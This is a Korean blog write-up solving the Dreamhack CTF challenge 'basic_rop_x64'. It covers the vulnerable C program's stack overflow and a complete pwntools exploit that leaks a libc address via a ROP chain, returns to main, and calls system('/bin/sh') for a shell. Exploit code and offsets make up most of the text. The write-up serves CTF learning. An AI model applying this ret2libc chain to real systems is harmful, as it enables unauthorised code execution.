[드림핵 시스템 해킹] Wargame : basic_rop_x64

asdf·2025년 1월 13일

pwnable

목록 보기
15/36

문제


풀이


취약점 분석

문제에 적용된 보안 기법들을 살펴보겠습니다.

NX가 적용되어 있으므로 스택에서 셸을 바로 실행할 수는 없어보입니다.

문제에서 제공한 basic_rop_x64.c도 살펴보겠습니다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

buf에 비해 read에서 읽는 크기가 크므로 스택 오버플로우를 사용할 수 있어보입니다. 먼저 rop체인으로 libc_base를 얻어주겠습니다. write(1, read_got, ...)으로 read_got을 얻은 후 libc_base를 얻을 수 있습니다. 하지만 이후 코드가 종료되기 때문에 rop체인 마지막에 main으로 돌아가도록 해서 read함수를 한 번 더 실행시켜 셸을 실행시키면 해결할 수 있을 것 같습니다.

스택 프레임 구조 파악


buf의 위치는 rbp-0x40입니다. canary는 적용되지 않았으므로 buf와 ret의 거리는 0x48입니다.

익스플로잇 실행

기본 설정

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = remote("host1.dreamhack.games", 11044)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6", checksec = False)

sh = list(libc.search(b"/bin/sh"))[0]
read_got = e.got["read"]
read_plt = e.plt["read"]
write_plt = e.plt["write"]
#ROPgadget --binary basic_rop_x64 | grep "이름"
pop_rdi = 0x0000000000400883
pop_rsi_r15 = 0x0000000000400881
ret = 0x00000000004005a9

먼저 read_got을 얻어주기 위해 rop체인을 구성해 주겠습니다.

payload = b'A' * 0x48
#write(1, read@got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

#return to main
payload += p64(e.symbols["main"])

p.send(payload)

p.recvuntil(b'A' * 0x40)
read = u64(p.recvn(6) + b'\x00' * 2)
slog("read", read)

lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
binsh = lb + sh

payload를 보내면 main함수의 종료 후에 rop체인이 실행되므로 main의 write(1, buf, sizeof(buf))를 처리한 후 read_got을 받아야 합니다. p.recvuntil(b'A'*0x40)으로 buf를 받고 read에 값을 받아줍니다.

이제 얻은 system으로 rop체인을 구성해 문제를 해결하겠습니다.

payload = b'A' * 0x48

#system("/bin/sh")
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)

p.send(payload)
p.recvuntil(b'A' * 0x40)

p.interactive()

p.send(payload) 뒤의 p.recvuntil(b'A'0x40)은 main에서 write(1, buf, sizeof(buf))가 실행된 후 interactive를 실행시킵니다. 없어도 상관없지만 작성하지 않을 경우 셸이 작동하기 전에 buf가 출력되어서 지저분하게 보일 수 있습니다.
아래는 p.recvuntil(b'A'
0x40)을 제외하고 실행한 결과입니다.

아래는 전체 코드입니다.

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = remote("host1.dreamhack.games", 14281)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6", checksec = False)

sh = list(libc.search(b"/bin/sh"))[0]
read_got = e.got["read"]
read_plt = e.plt["read"]
write_plt = e.plt["write"]
pop_rdi = 0x0000000000400883
pop_rsi_r15 = 0x0000000000400881
ret = 0x00000000004005a9

payload = b'A' * 0x48
#write(1, read@got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

#return to main
payload += p64(e.symbols["main"])

p.send(payload)

p.recvuntil(b'A' * 0x40)
read = u64(p.recvn(6) + b'\x00' * 2)
slog("read", read)

lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
binsh = lb + sh

payload = b'A' * 0x48

#system("/bin/sh")
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)

p.send(payload)
p.recvuntil(b'A' * 0x40)

p.interactive()

실행하면 셸을 얻을 수 있습니다.

profile
Rainy Waltz(a_hisa)

0개의 댓글